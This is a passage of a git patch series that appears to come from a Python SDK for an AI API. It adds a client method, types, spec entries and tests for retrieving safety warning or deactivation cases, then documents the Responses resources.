+ with pytest.raises(TypeError, match="Could not resolve authentication method"):
+ await client.admin.organization.external_storage.retrieve("extstorage_test")
+ assert len(respx2_mock.calls) == 0
From a87b938545b34c1880b9914b43a5039072f40b09 Mon Sep 17 00:00:00 2001
From: Justin Beckwith
Date: Sat, 19 Sep 2026 16:37:04 +0000
Subject: [PATCH 179/341] feat(api): add safety case retrieval (#3911)
## Summary
Adds support for retrieving safety case details by ID.
## Changes
- Add client.safety.cases.retrieve for retrieving a safety case by ID
- Expose the case identifier, creation time, entity identifier, nullable
reason, and warning or deactivation notice
---
.castiron.stats.yml | 14 +-
api.md | 12 ++
api_reference/openapi.transformed.yml | 93 ++++++++++++
src/openai/resources/safety/__init__.py | 21 +++
src/openai/resources/safety/cases.py | 172 +++++++++++++++++++++++
src/openai/resources/safety/safety.py | 32 +++++
src/openai/types/safety/__init__.py | 1 +
src/openai/types/safety/safety_case.py | 26 ++++
tests/api_resources/safety/test_cases.py | 100 +++++++++++++
tests/test_safety_cases.py | 141 +++++++++++++++++++
10 files changed, 605 insertions(+), 7 deletions(-)
create mode 100644 src/openai/resources/safety/cases.py
create mode 100644 src/openai/types/safety/safety_case.py
create mode 100644 tests/api_resources/safety/test_cases.py
create mode 100644 tests/test_safety_cases.py
diff --git a/.castiron.stats.yml b/.castiron.stats.yml
index e627ad7cf1..ba5189c113 100644
--- a/.castiron.stats.yml
+++ b/.castiron.stats.yml
@@ -1,8 +1,8 @@
schema_version: 1
-generation_id: 0d99919e-4341-4042-88cf-64ec38034f9d
-openapi_spec_hash: 72dd9904e4616e46924320e49100670e
-openapi_transformed_spec_hash: e7d24da6852468e1b83db4468b3151de
-config_hash: c426d2799884f277047e545f57fad0c8
-codegen_sha: 273299f9b1b1d4aec76dd3f3c8053f24c99e5a6a
-codegen_hash: 22535fd7ebf99f054ee5627760908ae8c99c24130de1e9b3a150ba51a75a29c6
-public_codegen_sha: 8441291d5011f90d19b1ec9d3ed5ff9cbf7add16
+generation_id: 4381598a-5a3e-4b2c-b37b-65ab559dc25e
+openapi_spec_hash: f7fd2b85cc9e2a36081f6cb53f30c8a2
+openapi_transformed_spec_hash: 14712113bc9b12516d9a0a43d4e355f2
+config_hash: 60435bd668a5724c530fe7e9d6869e9a
+codegen_sha: 702ca0d6e39bf6d90ac1c8d331f8457644d5177e
+codegen_hash: 210d8e7aa966e14b48b838013ad2991c06262acab2a7f60c98f462218217fdb0
+public_codegen_sha: 680f9c0f4cc7960f95cf1293e761218ce883597e
diff --git a/api.md b/api.md
index ad814fa255..fac8e7ea84 100644
--- a/api.md
+++ b/api.md
@@ -463,6 +463,18 @@ Methods:
- client.safety.alerts.retrieve(id) -> SafetyAlert
+## Cases
+
+Types:
+
+```python
+from openai.types.safety import SafetyCase
+```
+
+Methods:
+
+- client.safety.cases.retrieve(id) -> SafetyCase
+
# [Webhooks](src/openai/resources/webhooks/api.md)
Methods:
diff --git a/api_reference/openapi.transformed.yml b/api_reference/openapi.transformed.yml
index aaf2378714..0a78d772e8 100644
--- a/api_reference/openapi.transformed.yml
+++ b/api_reference/openapi.transformed.yml
@@ -22620,6 +22620,44 @@ paths:
"created_at": 1741900000,
"metadata": {"topic": "project-x"}
}
+ /safety/cases/{id}:
+ get:
+ summary: Get safety case
+ description: Get a safety case by ID.
+ operationId: Getsafetycase
+ parameters:
+ - name: id
+ in: path
+ description: Safety case ID
+ required: true
+ schema:
+ description: Safety case ID
+ type: string
+ maxLength: 128
+ responses:
+ '200':
+ description: Success
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/SafetyCaseResource'
+ x-oaiMeta:
+ group: safety-cases
+ path: retrieve
+ examples:
+ request:
+ curl: |
+ curl https://api.openai.com/v1/safety/cases/C-abc123 \
+ -H "Authorization: Bearer $OPENAI_API_KEY"
+ response: |
+ {
+ "id": "C-abc123",
+ "object": "safety.case",
+ "created_at": 1787659200,
+ "entity_identifier": "safety-id-123",
+ "reason": "cyber_abuse",
+ "notice": {"type": "warning"}
+ }
/safety/alerts/{id}:
get:
summary: Get project safety alert
@@ -71405,6 +71443,47 @@ components:
- object
- deleted
- id
+ SafetyCaseNoticeType:
+ type: string
+ enum:
+ - warning
+ - deactivation
+ SafetyCaseNotice:
+ properties:
+ type:
+ $ref: '#/components/schemas/SafetyCaseNoticeType'
+ type: object
+ required:
+ - type
+ SafetyCaseResource:
+ properties:
+ id:
+ type: string
+ object:
+ type: string
+ enum:
+ - safety.case
+ default: safety.case
+ x-stainless-const: true
+ created_at:
+ type: integer
+ format: unixtime
+ entity_identifier:
+ type: string
+ reason:
+ anyOf:
+ - type: string
+ - type: 'null'
+ notice:
+ $ref: '#/components/schemas/SafetyCaseNotice'
+ type: object
+ required:
+ - id
+ - object
+ - created_at
+ - entity_identifier
+ - reason
+ - notice
SafetyAlertErrorType:
type: string
enum:
@@ -97121,6 +97200,20 @@ x-oaiMeta:
- type: object
key: ResponseErrorEvent
path:
+ - id: safety-cases
+ title: Safety Cases
+ description: |
+ Retrieve details about a safety warning or deactivation using the case ID
+ from a `safety.warning_issued` or `safety.deactivation_issued` webhook event.
+ Cases belong to an organization and require an API key with `api.safety.read`.
+ navigationGroup: endpoints
+ sections:
+ - type: endpoint
+ key: Getsafetycase
+ path: retrieve
+ - type: object
+ key: SafetyCaseResource
+ path: object
- id: safety-alerts
title: Safety Alerts
description: |
diff --git a/src/openai/resources/safety/__init__.py b/src/openai/resources/safety/__init__.py
index 696de547f5..57d50e6bc3 100644
--- a/src/openai/resources/safety/__init__.py
+++ b/src/openai/resources/safety/__init__.py
@@ -3,6 +3,14 @@
import typing as _t
if _t.TYPE_CHECKING:
+ from .cases import (
+ Cases as Cases,
+ AsyncCases as AsyncCases,
+ CasesWithRawResponse as CasesWithRawResponse,
+ AsyncCasesWithRawResponse as AsyncCasesWithRawResponse,
+ CasesWithStreamingResponse as CasesWithStreamingResponse,
+ AsyncCasesWithStreamingResponse as AsyncCasesWithStreamingResponse,
+ )
from .alerts import (
Alerts as Alerts,
AsyncAlerts as AsyncAlerts,
@@ -28,6 +36,12 @@
"AsyncAlertsWithRawResponse": (".alerts", "AsyncAlertsWithRawResponse"),
"AlertsWithStreamingResponse": (".alerts", "AlertsWithStreamingResponse"),
"AsyncAlertsWithStreamingResponse": (".alerts", "AsyncAlertsWithStreamingResponse"),
+ "Cases": (".cases", "Cases"),
+ "AsyncCases": (".cases", "AsyncCases"),
+ "CasesWithRawResponse": (".cases", "CasesWithRawResponse"),
+ "AsyncCasesWithRawResponse": (".cases", "AsyncCasesWithRawResponse"),
+ "CasesWithStreamingResponse": (".cases", "CasesWithStreamingResponse"),
+ "AsyncCasesWithStreamingResponse": (".cases", "AsyncCasesWithStreamingResponse"),
"Safety": (".safety", "Safety"),
"AsyncSafety": (".safety", "AsyncSafety"),
"SafetyWithRawResponse": (".safety", "SafetyWithRawResponse"),
@@ -37,6 +51,7 @@
}
_SUBMODULES = {
"alerts",
+ "cases",
"safety",
}
@@ -64,6 +79,12 @@ def __dir__() -> list[str]:
"AsyncAlertsWithRawResponse",
"AlertsWithStreamingResponse",
"AsyncAlertsWithStreamingResponse",
+ "Cases",
+ "AsyncCases",
+ "CasesWithRawResponse",
+ "AsyncCasesWithRawResponse",
+ "CasesWithStreamingResponse",
+ "AsyncCasesWithStreamingResponse",
"Safety",
"AsyncSafety",
"SafetyWithRawResponse",
diff --git a/src/openai/resources/safety/cases.py b/src/openai/resources/safety/cases.py
new file mode 100644
index 0000000000..7c59f4d71d
--- /dev/null
+++ b/src/openai/resources/safety/cases.py
@@ -0,0 +1,172 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+import httpx2
+
+from ... import _legacy_response
+from ..._types import Body, Query, Headers, NotGiven, not_given
+from ..._utils import path_template
+from ..._compat import cached_property
+from ..._resource import SyncAPIResource, AsyncAPIResource
+from ..._response import to_streamed_response_wrapper, async_to_streamed_response_wrapper
+from ..._base_client import make_request_options
+from ...types.safety.safety_case import SafetyCase
+
+__all__ = ["Cases", "AsyncCases"]
+
+
+class Cases(SyncAPIResource):
+ @cached_property
+ def with_raw_response(self) -> CasesWithRawResponse:
+ """
+ This property can be used as a prefix for any HTTP method call to return
+ the raw response object instead of the parsed content.
+
+ For more information, see https://www.github.com/openai/openai-python#accessing-raw-response-data-eg-headers
+ """
+ return CasesWithRawResponse(self)
+
+ @cached_property
+ def with_streaming_response(self) -> CasesWithStreamingResponse:
+ """
+ An alternative to `.with_raw_response` that doesn't eagerly read the response body.
+
+ For more information, see https://www.github.com/openai/openai-python#with_streaming_response
+ """
+ return CasesWithStreamingResponse(self)
+
+ def retrieve(
+ self,
+ id: str,
+ *,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> SafetyCase:
+ """
+ Get a safety case by ID.
+
+ Args:
+ id: Safety case ID
+
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ if not id:
+ raise ValueError(f"Expected a non-empty value for `id` but received {id!r}")
+ return self._get(
+ path_template("/safety/cases/{id}", id=id),
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ security={"bearer_auth": True},
+ ),
+ cast_to=SafetyCase,
+ )
+
+
+class AsyncCases(AsyncAPIResource):
+ @cached_property
+ def with_raw_response(self) -> AsyncCasesWithRawResponse:
+ """
+ This property can be used as a prefix for any HTTP method call to return
+ the raw response object instead of the parsed content.
+
+ For more information, see https://www.github.com/openai/openai-python#accessing-raw-response-data-eg-headers
+ """
+ return AsyncCasesWithRawResponse(self)
+
+ @cached_property
+ def with_streaming_response(self) -> AsyncCasesWithStreamingResponse:
+ """
+ An alternative to `.with_raw_response` that doesn't eagerly read the response body.
+
+ For more information, see https://www.github.com/openai/openai-python#with_streaming_response
+ """
+ return AsyncCasesWithStreamingResponse(self)
+
+ async def retrieve(
+ self,
+ id: str,
+ *,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> SafetyCase:
+ """
+ Get a safety case by ID.
+
+ Args:
+ id: Safety case ID
+
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ if not id:
+ raise ValueError(f"Expected a non-empty value for `id` but received {id!r}")
+ return await self._get(
+ path_template("/safety/cases/{id}", id=id),
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ security={"bearer_auth": True},
+ ),
+ cast_to=SafetyCase,
+ )
+
+
+class CasesWithRawResponse:
+ def __init__(self, cases: Cases) -> None:
+ self._cases = cases
+
+ self.retrieve = _legacy_response.to_raw_response_wrapper(
+ cases.retrieve,
+ )
+
+
+class AsyncCasesWithRawResponse:
+ def __init__(self, cases: AsyncCases) -> None:
+ self._cases = cases
+
+ self.retrieve = _legacy_response.async_to_raw_response_wrapper(
+ cases.retrieve,
+ )
+
+
+class CasesWithStreamingResponse:
+ def __init__(self, cases: Cases) -> None:
+ self._cases = cases
+
+ self.retrieve = to_streamed_response_wrapper(
+ cases.retrieve,
+ )
+
+
+class AsyncCasesWithStreamingResponse:
+ def __init__(self, cases: AsyncCases) -> None:
+ self._cases = cases
+
+ self.retrieve = async_to_streamed_response_wrapper(
+ cases.retrieve,
+ )
diff --git a/src/openai/resources/safety/safety.py b/src/openai/resources/safety/safety.py
index 80aeb916d5..4d80f73eda 100644
--- a/src/openai/resources/safety/safety.py
+++ b/src/openai/resources/safety/safety.py
@@ -2,6 +2,14 @@
from __future__ import annotations
+from .cases import (
+ Cases,
+ AsyncCases,
+ CasesWithRawResponse,
+ AsyncCasesWithRawResponse,
+ CasesWithStreamingResponse,
+ AsyncCasesWithStreamingResponse,
+)
from .alerts import (
Alerts,
AsyncAlerts,
@@ -21,6 +29,10 @@ class Safety(SyncAPIResource):
def alerts(self) -> Alerts:
return Alerts(self._client)
+ @cached_property
+ def cases(self) -> Cases:
+ return Cases(self._client)
+
@cached_property
def with_raw_response(self) -> SafetyWithRawResponse:
"""
@@ -46,6 +58,10 @@ class AsyncSafety(AsyncAPIResource):
def alerts(self) -> AsyncAlerts:
return AsyncAlerts(self._client)
+ @cached_property
+ def cases(self) -> AsyncCases:
+ return AsyncCases(self._client)
+
@cached_property
def with_raw_response(self) -> AsyncSafetyWithRawResponse:
"""
@@ -74,6 +90,10 @@ def __init__(self, safety: Safety) -> None:
def alerts(self) -> AlertsWithRawResponse:
return AlertsWithRawResponse(self._safety.alerts)
+ @cached_property
+ def cases(self) -> CasesWithRawResponse:
+ return CasesWithRawResponse(self._safety.cases)
+
class AsyncSafetyWithRawResponse:
def __init__(self, safety: AsyncSafety) -> None:
@@ -83,6 +103,10 @@ def __init__(self, safety: AsyncSafety) -> None:
def alerts(self) -> AsyncAlertsWithRawResponse:
return AsyncAlertsWithRawResponse(self._safety.alerts)
+ @cached_property
+ def cases(self) -> AsyncCasesWithRawResponse:
+ return AsyncCasesWithRawResponse(self._safety.cases)
+
class SafetyWithStreamingResponse:
def __init__(self, safety: Safety) -> None:
@@ -92,6 +116,10 @@ def __init__(self, safety: Safety) -> None:
def alerts(self) -> AlertsWithStreamingResponse:
return AlertsWithStreamingResponse(self._safety.alerts)
+ @cached_property
+ def cases(self) -> CasesWithStreamingResponse:
+ return CasesWithStreamingResponse(self._safety.cases)
+
class AsyncSafetyWithStreamingResponse:
def __init__(self, safety: AsyncSafety) -> None:
@@ -100,3 +128,7 @@ def __init__(self, safety: AsyncSafety) -> None:
@cached_property
def alerts(self) -> AsyncAlertsWithStreamingResponse:
return AsyncAlertsWithStreamingResponse(self._safety.alerts)
+
+ @cached_property
+ def cases(self) -> AsyncCasesWithStreamingResponse:
+ return AsyncCasesWithStreamingResponse(self._safety.cases)
diff --git a/src/openai/types/safety/__init__.py b/src/openai/types/safety/__init__.py
index 00f62d53d2..406a8fa411 100644
--- a/src/openai/types/safety/__init__.py
+++ b/src/openai/types/safety/__init__.py
@@ -2,4 +2,5 @@
from __future__ import annotations
+from .safety_case import SafetyCase as SafetyCase
from .safety_alert import SafetyAlert as SafetyAlert
diff --git a/src/openai/types/safety/safety_case.py b/src/openai/types/safety/safety_case.py
new file mode 100644
index 0000000000..7a5d59aa76
--- /dev/null
+++ b/src/openai/types/safety/safety_case.py
@@ -0,0 +1,26 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Optional
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+
+__all__ = ["SafetyCase", "Notice"]
+
+
+class Notice(BaseModel):
+ type: Literal["warning", "deactivation"]
+
+
+class SafetyCase(BaseModel):
+ id: str
+
+ created_at: int
+
+ entity_identifier: str
+
+ notice: Notice
+
+ object: Literal["safety.case"]
+
+ reason: Optional[str] = None
diff --git a/tests/api_resources/safety/test_cases.py b/tests/api_resources/safety/test_cases.py
new file mode 100644
index 0000000000..486576049b
--- /dev/null
+++ b/tests/api_resources/safety/test_cases.py
@@ -0,0 +1,100 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+import os
+from typing import Any, cast
+
+import pytest
+
+from openai import OpenAI, AsyncOpenAI
+from tests.utils import assert_matches_type
+from openai.types.safety import SafetyCase
+
+base_url = os.environ.get("TEST_API_BASE_URL", "http://127.0.0.1:4010")
+
+
+class TestCases:
+ parametrize = pytest.mark.parametrize("client", [False, True], indirect=True, ids=["loose", "strict"])
+
+ @parametrize
+ def test_method_retrieve(self, client: OpenAI) -> None:
+ case = client.safety.cases.retrieve(
+ "id",
+ )
+ assert_matches_type(SafetyCase, case, path=["response"])
+
+ @parametrize
+ def test_raw_response_retrieve(self, client: OpenAI) -> None:
+ response = client.safety.cases.with_raw_response.retrieve(
+ "id",
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ case = response.parse()
+ assert_matches_type(SafetyCase, case, path=["response"])
+
+ @parametrize
+ def test_streaming_response_retrieve(self, client: OpenAI) -> None:
+ with client.safety.cases.with_streaming_response.retrieve(
+ "id",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ case = response.parse()
+ assert_matches_type(SafetyCase, case, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ def test_path_params_retrieve(self, client: OpenAI) -> None:
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `id` but received ''"):
+ client.safety.cases.with_raw_response.retrieve(
+ "",
+ )
+
+
+class TestAsyncCases:
+ parametrize = pytest.mark.parametrize(
+ "async_client", [False, True, {"http_client": "aiohttp"}], indirect=True, ids=["loose", "strict", "aiohttp"]
+ )
+
+ @parametrize
+ async def test_method_retrieve(self, async_client: AsyncOpenAI) -> None:
+ case = await async_client.safety.cases.retrieve(
+ "id",
+ )
+ assert_matches_type(SafetyCase, case, path=["response"])
+
+ @parametrize
+ async def test_raw_response_retrieve(self, async_client: AsyncOpenAI) -> None:
+ response = await async_client.safety.cases.with_raw_response.retrieve(
+ "id",
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ case = response.parse()
+ assert_matches_type(SafetyCase, case, path=["response"])
+
+ @parametrize
+ async def test_streaming_response_retrieve(self, async_client: AsyncOpenAI) -> None:
+ async with async_client.safety.cases.with_streaming_response.retrieve(
+ "id",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ case = await response.parse()
+ assert_matches_type(SafetyCase, case, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ async def test_path_params_retrieve(self, async_client: AsyncOpenAI) -> None:
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `id` but received ''"):
+ await async_client.safety.cases.with_raw_response.retrieve(
+ "",
+ )
diff --git a/tests/test_safety_cases.py b/tests/test_safety_cases.py
new file mode 100644
index 0000000000..e01cb6aeb4
--- /dev/null
+++ b/tests/test_safety_cases.py
@@ -0,0 +1,141 @@
+from __future__ import annotations
+
+from collections.abc import Callable
+
+import httpx2
+import pytest
+
+from openai import OpenAI, AsyncOpenAI
+from openai.types.safety import SafetyCase
+
+BASE_URL = "https://example.com/v1"
+CASE_ID = "case/with ?#%"
+
+
+def safety_case(notice_type: str, reason: str | None) -> dict[str, object]:
+ return {
+ "id": CASE_ID,
+ "object": "safety.case",
+ "created_at": 123,
+ "entity_identifier": "synthetic-entity",
+ "reason": reason,
+ "notice": {"type": notice_type, "future_notice_field": "retained"},
+ "future_case_field": {"retained": True},
+ }
+
+
+def response_handler(
+ payload: dict[str, object], requests: list[httpx2.Request]
+) -> Callable[[httpx2.Request], httpx2.Response]:
+ def handle(request: httpx2.Request) -> httpx2.Response:
+ requests.append(request)
+ return httpx2.Response(200, json=payload)
+
+ return handle
+
+
+def assert_request(requests: list[httpx2.Request]) -> None:
+ assert len(requests) == 1
+ request = requests[0]
+ assert request.method == "GET"
+ assert request.url.raw_path.split(b"?", 1)[0] == b"/v1/safety/cases/case%2Fwith%20%3F%23%25"
+ assert dict(request.url.params) == {"trace": "contract"}
+ assert request.content == b""
+ assert request.headers["Authorization"] == "Bearer test-project-key"
+ assert request.headers["X-Case-Trace"] == "caller-owned"
+
+
+@pytest.mark.parametrize("notice_type", ["warning", "deactivation"])
+@pytest.mark.parametrize("reason", [None, "synthetic reason"])
+def test_sync_safety_case_contract(notice_type: str, reason: str | None) -> None:
+ payload = safety_case(notice_type, reason)
+ requests: list[httpx2.Request] = []
+ with OpenAI(
+ base_url=BASE_URL,
+ api_key="test-project-key",
+ admin_api_key="test-admin-key",
+ http_client=httpx2.Client(transport=httpx2.MockTransport(response_handler(payload, requests))),
+ _strict_response_validation=True,
+ ) as client:
+ result = client.safety.cases.retrieve(
+ CASE_ID,
+ extra_headers={"X-Case-Trace": "caller-owned"},
+ extra_query={"trace": "contract"},
+ )
+
+ assert isinstance(result, SafetyCase)
+ assert result.to_dict() == payload
+ assert_request(requests)
+
+
+@pytest.mark.asyncio
+@pytest.mark.parametrize("notice_type", ["warning", "deactivation"])
+@pytest.mark.parametrize("reason", [None, "synthetic reason"])
+async def test_async_safety_case_contract(notice_type: str, reason: str | None) -> None:
+ payload = safety_case(notice_type, reason)
+ requests: list[httpx2.Request] = []
+ async with AsyncOpenAI(
+ base_url=BASE_URL,
+ api_key="test-project-key",
+ admin_api_key="test-admin-key",
+ http_client=httpx2.AsyncClient(transport=httpx2.MockTransport(response_handler(payload, requests))),
+ _strict_response_validation=True,
+ ) as client:
+ result = await client.safety.cases.retrieve(
+ CASE_ID,
+ extra_headers={"X-Case-Trace": "caller-owned"},
+ extra_query={"trace": "contract"},
+ )
+
+ assert isinstance(result, SafetyCase)
+ assert result.to_dict() == payload
+ assert_request(requests)
+
+
+def test_safety_case_future_notice_is_preserved_by_default() -> None:
+ payload = safety_case("future-notice", None)
+ requests: list[httpx2.Request] = []
+ with OpenAI(
+ base_url=BASE_URL,
+ api_key="test-project-key",
+ admin_api_key="test-admin-key",
+ http_client=httpx2.Client(transport=httpx2.MockTransport(response_handler(payload, requests))),
+ ) as client:
+ result = client.safety.cases.retrieve(CASE_ID)
+
+ assert result.to_dict() == payload
+ assert len(requests) == 1
+ assert requests[0].headers["Authorization"] == "Bearer test-project-key"
+
+
+def test_sync_safety_case_never_uses_admin_key_as_fallback(monkeypatch: pytest.MonkeyPatch) -> None:
+ monkeypatch.delenv("OPENAI_API_KEY", raising=False)
+ requests: list[httpx2.Request] = []
+ with OpenAI(
+ base_url=BASE_URL,
+ api_key=None,
+ admin_api_key="test-admin-key",
+ http_client=httpx2.Client(
+ transport=httpx2.MockTransport(response_handler(safety_case("warning", None), requests))
+ ),
+ ) as client:
+ with pytest.raises(TypeError, match="Could not resolve authentication method"):
+ client.safety.cases.retrieve(CASE_ID)
+ assert not requests
+
+
+@pytest.mark.asyncio
+async def test_async_safety_case_never_uses_admin_key_as_fallback(monkeypatch: pytest.MonkeyPatch) -> None:
+ monkeypatch.delenv("OPENAI_API_KEY", raising=False)
+ requests: list[httpx2.Request] = []
+ async with AsyncOpenAI(
+ base_url=BASE_URL,
+ api_key=None,
+ admin_api_key="test-admin-key",
+ http_client=httpx2.AsyncClient(
+ transport=httpx2.MockTransport(response_handler(safety_case("warning", None), requests))
+ ),
+ ) as client:
+ with pytest.raises(TypeError, match="Could not resolve authentication method"):
+ await client.safety.cases.retrieve(CASE_ID)
+ assert not requests
From eaa5b77912a2c3c4feff0a734b6ca087ccf52a01 Mon Sep 17 00:00:00 2001
From: Justin Beckwith
Date: Sat, 19 Sep 2026 18:21:44 +0000
Subject: [PATCH 180/341] chore(api): document response management resources
(#3912)
## Summary
Adds documentation describing the Responses and beta Responses
resources.
## Changes
- Document response, input-item, and input-token resources and their
client accessors
---
.castiron.stats.yml | 12 ++++++------
api_reference/openapi.transformed.yml | 10 ++++++++++
src/openai/_client.py | 6 ++++++
src/openai/resources/beta/beta.py | 6 ++++++
.../resources/beta/responses/input_items.py | 4 ++++
.../resources/beta/responses/input_tokens.py | 4 ++++
src/openai/resources/beta/responses/responses.py | 16 ++++++++++++++++
src/openai/resources/responses/input_items.py | 4 ++++
src/openai/resources/responses/input_tokens.py | 4 ++++
src/openai/resources/responses/responses.py | 16 ++++++++++++++++
10 files changed, 76 insertions(+), 6 deletions(-)
diff --git a/.castiron.stats.yml b/.castiron.stats.yml
index ba5189c113..e37fb11a02 100644
--- a/.castiron.stats.yml
+++ b/.castiron.stats.yml
@@ -1,8 +1,8 @@
schema_version: 1
-generation_id: 4381598a-5a3e-4b2c-b37b-65ab559dc25e
-openapi_spec_hash: f7fd2b85cc9e2a36081f6cb53f30c8a2
-openapi_transformed_spec_hash: 14712113bc9b12516d9a0a43d4e355f2
+generation_id: 3b89c44c-bf19-47c9-b683-1be98c7acb80
+openapi_spec_hash: c7a2088dc0fb8d92f9a934ba4dca2d80
+openapi_transformed_spec_hash: 7281a983306f72fc39720d7057f11ef7
config_hash: 60435bd668a5724c530fe7e9d6869e9a
-codegen_sha: 702ca0d6e39bf6d90ac1c8d331f8457644d5177e
-codegen_hash: 210d8e7aa966e14b48b838013ad2991c06262acab2a7f60c98f462218217fdb0
-public_codegen_sha: 680f9c0f4cc7960f95cf1293e761218ce883597e
+codegen_sha: 0d282845aeb471e048ae190ee83282de54b69837
+codegen_hash: f5fb16eafe81ef56a1c61fd6488ef4f4217001abd607c3947065ff91de7eca38
+public_codegen_sha: 676b87b991b50c1d09ed6c352db4dfbd8c4a3143
diff --git a/api_reference/openapi.transformed.yml b/api_reference/openapi.transformed.yml
index 0a78d772e8..5c02305f97 100644
--- a/api_reference/openapi.transformed.yml
+++ b/api_reference/openapi.transformed.yml
@@ -45,6 +45,8 @@ tags:
description: List and describe the various models available in the API.
- name: Moderations
description: Given text and/or image inputs, classifies if those inputs are potentially harmful.
+- name: Responses
+ description: Create and manage model responses.
- name: Audit Logs
description: List user actions and configuration changes within this organization.
paths:
@@ -24091,6 +24093,8 @@ paths:
}
/responses/input_tokens:
post:
+ tags:
+ - Responses
summary: Get input token counts
description: |-
Returns input token counts of the request.
@@ -24204,6 +24208,8 @@ paths:
}
/responses/compact:
post:
+ tags:
+ - Responses
summary: Compact conversation
description: |-
Compact a conversation. Returns a compacted response object.
@@ -30353,6 +30359,8 @@ paths:
}
/responses/compact?beta=true:
post:
+ tags:
+ - Responses
summary: Compact conversation
description: |-
Compact a conversation. Returns a compacted response object.
@@ -30634,6 +30642,8 @@ paths:
}
/responses/input_tokens?beta=true:
post:
+ tags:
+ - Responses
summary: Get input token counts
description: |-
Returns input token counts of the request.
diff --git a/src/openai/_client.py b/src/openai/_client.py
index 9f6ebd140d..0a5330a9aa 100644
--- a/src/openai/_client.py
+++ b/src/openai/_client.py
@@ -475,6 +475,7 @@ def admin(self) -> Admin:
@cached_property
def responses(self) -> Responses:
+ """Create and manage model responses."""
from .resources.responses import Responses
return Responses(self)
@@ -1234,6 +1235,7 @@ def admin(self) -> AsyncAdmin:
@cached_property
def responses(self) -> AsyncResponses:
+ """Create and manage model responses."""
from .resources.responses import AsyncResponses
return AsyncResponses(self)
@@ -1778,6 +1780,7 @@ def admin(self) -> admin.AdminWithRawResponse:
@cached_property
def responses(self) -> responses.ResponsesWithRawResponse:
+ """Create and manage model responses."""
from .resources.responses import ResponsesWithRawResponse
return ResponsesWithRawResponse(self._client.responses)
@@ -1953,6 +1956,7 @@ def admin(self) -> admin.AsyncAdminWithRawResponse:
@cached_property
def responses(self) -> responses.AsyncResponsesWithRawResponse:
+ """Create and manage model responses."""
from .resources.responses import AsyncResponsesWithRawResponse
return AsyncResponsesWithRawResponse(self._client.responses)
@@ -2128,6 +2132,7 @@ def admin(self) -> admin.AdminWithStreamingResponse:
@cached_property
def responses(self) -> responses.ResponsesWithStreamingResponse:
+ """Create and manage model responses."""
from .resources.responses import ResponsesWithStreamingResponse
return ResponsesWithStreamingResponse(self._client.responses)
@@ -2303,6 +2308,7 @@ def admin(self) -> admin.AsyncAdminWithStreamingResponse:
@cached_property
def responses(self) -> responses.AsyncResponsesWithStreamingResponse:
+ """Create and manage model responses."""
from .resources.responses import AsyncResponsesWithStreamingResponse
return AsyncResponsesWithStreamingResponse(self._client.responses)
diff --git a/src/openai/resources/beta/beta.py b/src/openai/resources/beta/beta.py
index 6794139b63..0fd481d168 100644
--- a/src/openai/resources/beta/beta.py
+++ b/src/openai/resources/beta/beta.py
@@ -68,6 +68,7 @@ def agents(self) -> Agents:
@cached_property
def responses(self) -> Responses:
+ """Create and manage model responses."""
return Responses(self._client)
@cached_property
@@ -119,6 +120,7 @@ def agents(self) -> AsyncAgents:
@cached_property
def responses(self) -> AsyncResponses:
+ """Create and manage model responses."""
return AsyncResponses(self._client)
@cached_property
@@ -165,6 +167,7 @@ def agents(self) -> AgentsWithRawResponse:
@cached_property
def responses(self) -> ResponsesWithRawResponse:
+ """Create and manage model responses."""
return ResponsesWithRawResponse(self._beta.responses)
@cached_property
@@ -192,6 +195,7 @@ def agents(self) -> AsyncAgentsWithRawResponse:
@cached_property
def responses(self) -> AsyncResponsesWithRawResponse:
+ """Create and manage model responses."""
return AsyncResponsesWithRawResponse(self._beta.responses)
@cached_property
@@ -219,6 +223,7 @@ def agents(self) -> AgentsWithStreamingResponse:
@cached_property
def responses(self) -> ResponsesWithStreamingResponse:
+ """Create and manage model responses."""
return ResponsesWithStreamingResponse(self._beta.responses)
@cached_property
@@ -246,6 +251,7 @@ def agents(self) -> AsyncAgentsWithStreamingResponse:
@cached_property
def responses(self) -> AsyncResponsesWithStreamingResponse:
+ """Create and manage model responses."""
return AsyncResponsesWithStreamingResponse(self._beta.responses)
@cached_property
diff --git a/src/openai/resources/beta/responses/input_items.py b/src/openai/resources/beta/responses/input_items.py
index 219ea5cdd1..8b07181c0f 100644
--- a/src/openai/resources/beta/responses/input_items.py
+++ b/src/openai/resources/beta/responses/input_items.py
@@ -23,6 +23,8 @@
class InputItems(SyncAPIResource):
